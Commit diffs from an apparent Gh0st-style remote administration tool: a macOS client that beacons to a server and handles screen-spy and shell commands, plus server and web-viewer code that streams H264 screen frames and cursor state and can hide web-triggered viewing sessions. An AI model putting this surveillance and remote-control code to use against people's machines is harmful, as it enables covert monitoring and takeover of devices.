Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) {
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SYSTEM) {
Mprintf("** [%p] Received 'SYSTEM' command ***\n", user);
} else if (szBuffer[0] == COMMAND_LIST_DRIVE) {
Mprintf("** [%p] Received 'LIST_DRIVE' command ***\n", user);
} else if (szBuffer[0] == CMD_HEARTBEAT_ACK) {
if (ulLength >= 1 + sizeof(HeartbeatACK)) {
HeartbeatACK* ack = (HeartbeatACK*)(szBuffer + 1);
uint64_t now = GetUnixMs();
double rtt_ms = (double)(now - ack->Time);
g_rttEstimator.update_from_sample(rtt_ms);
// Log at most once per minute
static uint64_t lastLogTime = 0;
if (now - lastLogTime >= 60000) {
lastLogTime = now;
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
user, rtt_ms, g_rttEstimator.srtt * 1000);
}
}
} else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1;
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval;
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
}
} else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
} else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
return TRUE;
}
int main(int argc, const char* argv[])
{
(void)argc;
(void)argv;
@autoreleasepool {
NSLog(@"=== macOS Ghost Client ===");
// Setup signal handlers
setupSignals();
// Check permissions
NSLog(@"Checking permissions...");
if (!Permissions::checkScreenCapture()) {
NSLog(@"Screen capture permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Screen Recording");
Permissions::openScreenCaptureSettings();
}
if (!Permissions::checkAccessibility()) {
NSLog(@"Accessibility permission not granted.");
NSLog(@"Please grant permission in System Preferences > Privacy & Security > Accessibility");
Permissions::requestAccessibility();
}
// FDA check is unreliable (no official API), just log a warning
if (!Permissions::checkFullDiskAccess()) {
NSLog(@"Full Disk Access: not detected (may be false negative).");
NSLog(@"If file access issues occur, grant FDA in System Preferences > Privacy & Security > Full Disk Access");
// Don't auto-open settings since detection is unreliable
}
// Create client
auto ClientObject = std::make_unique<IOCPClient>(g_bExit, false);
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
// Main event loop
NSLog(@"Starting main loop...");
LOGIN_INFOR logInfo;
fillLoginInfo(logInfo);
while (g_running) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Sleep(5000);
continue;
}
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
Sleep(1000);
}
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break;
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
std::string activity = getActiveApp();
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
ClientObject->Send2Server((char*)buf, sizeof(buf));
}
}
NSLog(@"Shutting down...");
}
return 0;
}

Binary file not shown.

View File

@@ -541,6 +541,7 @@
<Image Include="res\Bitmap\Notify.bmp" /> <Image Include="res\Bitmap\Notify.bmp" />
<Image Include="res\Bitmap\PEEdit.bmp" /> <Image Include="res\Bitmap\PEEdit.bmp" />
<Image Include="res\Bitmap\Plugin.bmp" /> <Image Include="res\Bitmap\Plugin.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
<Image Include="res\Bitmap\PortProxyStd.bmp" /> <Image Include="res\Bitmap\PortProxyStd.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" /> <Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\proxy.bmp" /> <Image Include="res\Bitmap\proxy.bmp" />
@@ -554,10 +555,12 @@
<Image Include="res\Bitmap\Shutdown.bmp" /> <Image Include="res\Bitmap\Shutdown.bmp" />
<Image Include="res\Bitmap\SpeedDesktop.bmp" /> <Image Include="res\Bitmap\SpeedDesktop.bmp" />
<Image Include="res\Bitmap\Trial.bmp" /> <Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\unauthorize.bmp" /> <Image Include="res\Bitmap\unauthorize.bmp" />
<Image Include="res\Bitmap\update.bmp" /> <Image Include="res\Bitmap\update.bmp" />
<Image Include="res\Bitmap\VirtualDesktop.bmp" /> <Image Include="res\Bitmap\VirtualDesktop.bmp" />
<Image Include="res\Bitmap\Wallet.bmp" /> <Image Include="res\Bitmap\Wallet.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap_4.bmp" /> <Image Include="res\Bitmap_4.bmp" />
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\chat.ico" /> <Image Include="res\chat.ico" />

View File

@@ -268,6 +268,9 @@
<Image Include="res\Bitmap\Trial.bmp" /> <Image Include="res\Bitmap\Trial.bmp" />
<Image Include="res\Bitmap\RequestAuth.bmp" /> <Image Include="res\Bitmap\RequestAuth.bmp" />
<Image Include="res\Bitmap\CancelShare.bmp" /> <Image Include="res\Bitmap\CancelShare.bmp" />
<Image Include="res\Bitmap\Trigger.bmp" />
<Image Include="res\Bitmap\WebDesktop.bmp" />
<Image Include="res\Bitmap\PluginConfig.bmp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<None Include="..\..\Release\ghost.exe" /> <None Include="..\..\Release\ghost.exe" />

View File

@@ -156,7 +156,13 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41); LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41);
if (pClientID) { if (pClientID) {
m_ClientID = *((uint64_t*)pClientID); m_ClientID = *((uint64_t*)pClientID);
Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID);
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
if (WebService().IsRunning()) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height);
}
} }
// 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级) // 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级)
@@ -758,6 +764,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
// 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制) // 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制)
WebService().RegisterScreenContext(m_ClientID, m_ContextObject); WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
// Hide window if this session was triggered by web client
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
m_bHide = true;
ShowWindow(SW_HIDE);
}
return TRUE; return TRUE;
} }
@@ -1254,6 +1266,10 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化
if (WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构 if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
HCURSOR cursor; HCURSOR cursor;
if (m_bCursorIndex == 254) { // -2: 使用自定义光标 if (m_bCursorIndex == 254) { // -2: 使用自定义光标
@@ -1295,6 +1311,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
break; break;
} }
case ALGORITHM_H264: { case ALGORITHM_H264: {
// Decode locally if dialog is visible
if (!m_bHide && NextScreenLength > 0) {
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
bChange = TRUE;
}
}
// Broadcast H264 keyframe to web clients
if (NextScreenLength > 0 && WebService().IsRunning()) {
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
uint8_t frameType = 1; // Keyframe
uint32_t dataLen = (uint32_t)NextScreenLength;
memcpy(packet.data(), &deviceIdLow, 4);
packet[4] = frameType;
memcpy(packet.data() + 5, &dataLen, 4);
memcpy(packet.data() + 9, NextScreenData, NextScreenLength);
WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size());
}
break; break;
} }
default: default:
@@ -1429,6 +1463,10 @@ VOID CScreenSpyDlg::DrawScrollFrame()
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化
if (WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
} }
// 读取滚动参数 // 读取滚动参数

View File

@@ -44,7 +44,7 @@
// 程序版本号 [建议格式: X.Y.Z] // 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏 // 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.1" #define BRAND_VERSION "1.3.2"
// 启动画面名称 [建议大写,更有 Logo 感] // 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染) // 影响:启动画面 Logo 文字(大号艺术字体渲染)

View File

@@ -1232,6 +1232,18 @@ inline std::string GetWebPageHTML() {
updateScreenStatus('connected'); updateScreenStatus('connected');
initDecoder(msg.width, msg.height); initDecoder(msg.width, msg.height);
break; break;
case 'cursor':
// Update remote cursor style (only for desktop in control mode)
currentCursorIndex = msg.index;
if (controlEnabled && !isTouchDevice) {
const canvas = document.getElementById('screen-canvas');
// 254=custom cursor (not supported in web), 255=unsupported -> default
const cssCursor = (msg.index >= 0 && msg.index < cursorMap.length)
? cursorMap[msg.index]
: 'default';
canvas.style.cursor = cssCursor;
}
break;
case 'device_offline': case 'device_offline':
// Only handle if this is the device we're currently viewing // Only handle if this is the device we're currently viewing
if (!token) break; if (!token) break;
@@ -1286,6 +1298,11 @@ inline std::string GetWebPageHTML() {
} }
function initDecoder(width, height) { function initDecoder(width, height) {
decoderWidth = width;
decoderHeight = height;
needKeyframe = false;
decodeTimestamp = 0;
// Clear canvas before resizing to prevent residual content // Clear canvas before resizing to prevent residual content
ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform ctx.setTransform(1, 0, 0, 1, 0, 0); // Reset transform
ctx.clearRect(0, 0, canvas.width, canvas.height); ctx.clearRect(0, 0, canvas.width, canvas.height);
@@ -1307,6 +1324,10 @@ inline std::string GetWebPageHTML() {
lastFrameTime = performance.now(); lastFrameTime = performance.now();
decoder = new VideoDecoder({ decoder = new VideoDecoder({
output: (frame) => { output: (frame) => {
// Check if frame dimensions match canvas
if (frame.displayWidth !== canvas.width || frame.displayHeight !== canvas.height) {
console.warn(`Frame size mismatch: frame=${frame.displayWidth}x${frame.displayHeight}, canvas=${canvas.width}x${canvas.height}`);
}
ctx.drawImage(frame, 0, 0); ctx.drawImage(frame, 0, 0);
frame.close(); frame.close();
frameCount++; frameCount++;
@@ -1318,7 +1339,7 @@ inline std::string GetWebPageHTML() {
document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps'; document.getElementById('frame-info').textContent = width + 'x' + height + ' @ ' + fps + ' fps';
} }
}, },
error: (e) => { console.error('Decoder error:', e); updateScreenStatus('error', 'Decode error'); } error: (e) => { console.error('Decoder error:', e); needKeyframe = true; }
}); });
decoder.configure({ decoder.configure({
codec: 'avc1.42E01E', codec: 'avc1.42E01E',
@@ -1328,20 +1349,50 @@ inline std::string GetWebPageHTML() {
}); });
} }
let decoderWidth = 0, decoderHeight = 0, needKeyframe = false;
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
function handleBinaryFrame(data) { function handleBinaryFrame(data) {
if (!decoder || decoder.state !== 'configured') return;
const view = new DataView(data); const view = new DataView(data);
const deviceId = view.getUint32(0, true); const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4); const frameType = view.getUint8(4);
const dataLen = view.getUint32(5, true); const dataLen = view.getUint32(5, true);
const isKeyframe = frameType === 1;
// If decoder is closed or errored, wait for keyframe to reinitialize
if (!decoder || decoder.state === 'closed') {
if (isKeyframe && decoderWidth > 0) {
console.log('Reinitializing decoder on keyframe');
initDecoder(decoderWidth, decoderHeight);
needKeyframe = false;
} else {
needKeyframe = true;
return;
}
}
if (decoder.state !== 'configured') return;
// Skip delta frames if we need a keyframe
if (needKeyframe && !isKeyframe) return;
if (isKeyframe) needKeyframe = false;
const h264Data = new Uint8Array(data, 9, dataLen); const h264Data = new Uint8Array(data, 9, dataLen);
try { try {
// Check decoder queue to avoid overwhelming it (but never skip keyframes)
if (!isKeyframe && decoder.decodeQueueSize > 10) {
needKeyframe = true; // Need keyframe to resync after skipping
return;
}
decoder.decode(new EncodedVideoChunk({ decoder.decode(new EncodedVideoChunk({
type: frameType === 1 ? 'key' : 'delta', type: isKeyframe ? 'key' : 'delta',
timestamp: performance.now() * 1000, timestamp: decodeTimestamp++,
data: h264Data data: h264Data
})); }));
} catch (e) { console.error('Decode error:', e); } } catch (e) {
console.error('Decode error:', e);
needKeyframe = true;
}
} }
)HTML"; )HTML";
@@ -1748,6 +1799,28 @@ inline std::string GetWebPageHTML() {
// Control mode state (mouse/keyboard control) // Control mode state (mouse/keyboard control)
let controlEnabled = false; let controlEnabled = false;
// Remote cursor mapping (Windows cursor index -> CSS cursor)
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
const cursorMap = [
'progress', // 0: IDC_APPSTARTING
'default', // 1: IDC_ARROW
'crosshair', // 2: IDC_CROSS
'pointer', // 3: IDC_HAND
'help', // 4: IDC_HELP
'text', // 5: IDC_IBEAM
'default', // 6: IDC_ICON (no direct CSS equivalent)
'not-allowed', // 7: IDC_NO
'default', // 8: IDC_SIZE (deprecated, use default)
'move', // 9: IDC_SIZEALL
'nesw-resize', // 10: IDC_SIZENESW
'ns-resize', // 11: IDC_SIZENS
'nwse-resize', // 12: IDC_SIZENWSE
'ew-resize', // 13: IDC_SIZEWE
'default', // 14: IDC_UPARROW (no direct CSS equivalent)
'wait' // 15: IDC_WAIT
];
let currentCursorIndex = 1; // Default: arrow
// Floating toolbar state // Floating toolbar state
let toolbarVisible = false; let toolbarVisible = false;
let toolbarHideTimer = null; let toolbarHideTimer = null;
@@ -1899,8 +1972,18 @@ inline std::string GetWebPageHTML() {
const canvas = document.getElementById('screen-canvas'); const canvas = document.getElementById('screen-canvas');
const cursorOverlay = document.getElementById('cursor-overlay'); const cursorOverlay = document.getElementById('cursor-overlay');
// Touch devices: hide browser cursor, show overlay (touchpad mode) // Touch devices: hide browser cursor, show overlay (touchpad mode)
// Desktop: keep browser cursor visible, no overlay needed (remote shows cursor) // Desktop: use remote cursor style when control enabled
canvas.style.cursor = (controlEnabled && isTouchDevice) ? 'none' : 'default'; if (controlEnabled && isTouchDevice) {
canvas.style.cursor = 'none';
} else if (controlEnabled && !isTouchDevice) {
// Apply current remote cursor
const cssCursor = (currentCursorIndex >= 0 && currentCursorIndex < cursorMap.length)
? cursorMap[currentCursorIndex]
: 'default';
canvas.style.cursor = cssCursor;
} else {
canvas.style.cursor = 'default';
}
cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice); cursorOverlay.classList.toggle('active', controlEnabled && isTouchDevice);
} }
@@ -2613,7 +2696,12 @@ inline std::string GetWebPageHTML() {
sendMouse('up', pos.x, pos.y, e.button); sendMouse('up', pos.x, pos.y, e.button);
}); });
// Note: dblclick is handled by mousedown-mouseup sequence, no separate handler needed // dblclick handler - server will forward only to macOS clients
canvas.addEventListener('dblclick', function(e) {
e.preventDefault();
const pos = getMousePos(e);
sendMouse('dblclick', pos.x, pos.y, e.button);
});
canvas.addEventListener('mousemove', function(e) { canvas.addEventListener('mousemove', function(e) {
const now = Date.now(); const now = Date.now();
@@ -2726,6 +2814,7 @@ inline std::string GetWebPageHTML() {
if (qcMouse) qcMouse.classList.remove('active'); if (qcMouse) qcMouse.classList.remove('active');
document.getElementById('screen-canvas').style.cursor = 'default'; document.getElementById('screen-canvas').style.cursor = 'default';
document.getElementById('cursor-overlay').classList.remove('active'); document.getElementById('cursor-overlay').classList.remove('active');
currentCursorIndex = 1; // Reset to default arrow
// Reset zoom state // Reset zoom state
zoomState.scale = 1; zoomState.scale = 1;

View File

@@ -770,6 +770,15 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0)); short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
msg64.wParam = MAKEWPARAM(0, wheelDelta); msg64.wParam = MAKEWPARAM(0, wheelDelta);
} else if (type == "dblclick") { } else if (type == "dblclick") {
// dblclick is only needed for macOS clients
// Windows detects double-click from rapid mousedown/mouseup sequence
context* mainCtx = m_pParentDlg->FindHost(device_id);
if (!mainCtx) return;
CString clientType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
// Check for both "MAC" (new) and "macOS" (legacy) for compatibility
if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
return; // Skip dblclick for non-macOS clients
}
if (button == 0) { if (button == 0) {
msg64.message = WM_LBUTTONDBLCLK; msg64.message = WM_LBUTTONDBLCLK;
msg64.wParam = MK_LBUTTON; msg64.wParam = MK_LBUTTON;
@@ -1428,11 +1437,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si
// Broadcast to all watching clients // Broadcast to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex); std::lock_guard<std::mutex> lock(m_ClientsMutex);
int sent_count = 0;
for (auto& [ws_ptr, client] : m_Clients) { for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) { if (client.watch_device_id == device_id) {
SendBinary(ws_ptr, data, len); SendBinary(ws_ptr, data, len);
sent_count++;
} }
} }
// Cache keyframe (check FrameType byte at offset 4) // Cache keyframe (check FrameType byte at offset 4)
@@ -1475,6 +1482,27 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
} }
} }
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
if (m_bStopping) return;
// Build JSON message
Json::Value res;
res["cmd"] = "cursor";
res["index"] = cursor_index;
Json::StreamWriterBuilder builder;
builder["indentation"] = "";
std::string json = Json::writeString(builder, res);
// Send to all watching clients
std::lock_guard<std::mutex> lock(m_ClientsMutex);
for (auto& [ws_ptr, client] : m_Clients) {
if (client.watch_device_id == device_id) {
SendText(ws_ptr, json);
}
}
}
bool CWebService::StartRemoteDesktop(uint64_t device_id) { bool CWebService::StartRemoteDesktop(uint64_t device_id) {
if (!m_pParentDlg) return false; if (!m_pParentDlg) return false;

View File

@@ -96,6 +96,9 @@ public:
// Resolution change notification // Resolution change notification
void NotifyResolutionChange(uint64_t device_id, int width, int height); void NotifyResolutionChange(uint64_t device_id, int width, int height);
// Cursor change notification (called from ScreenSpyDlg)
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
// Get count of web clients watching a device // Get count of web clients watching a device
int GetWebClientCount(uint64_t device_id); int GetWebClientCount(uint64_t device_id);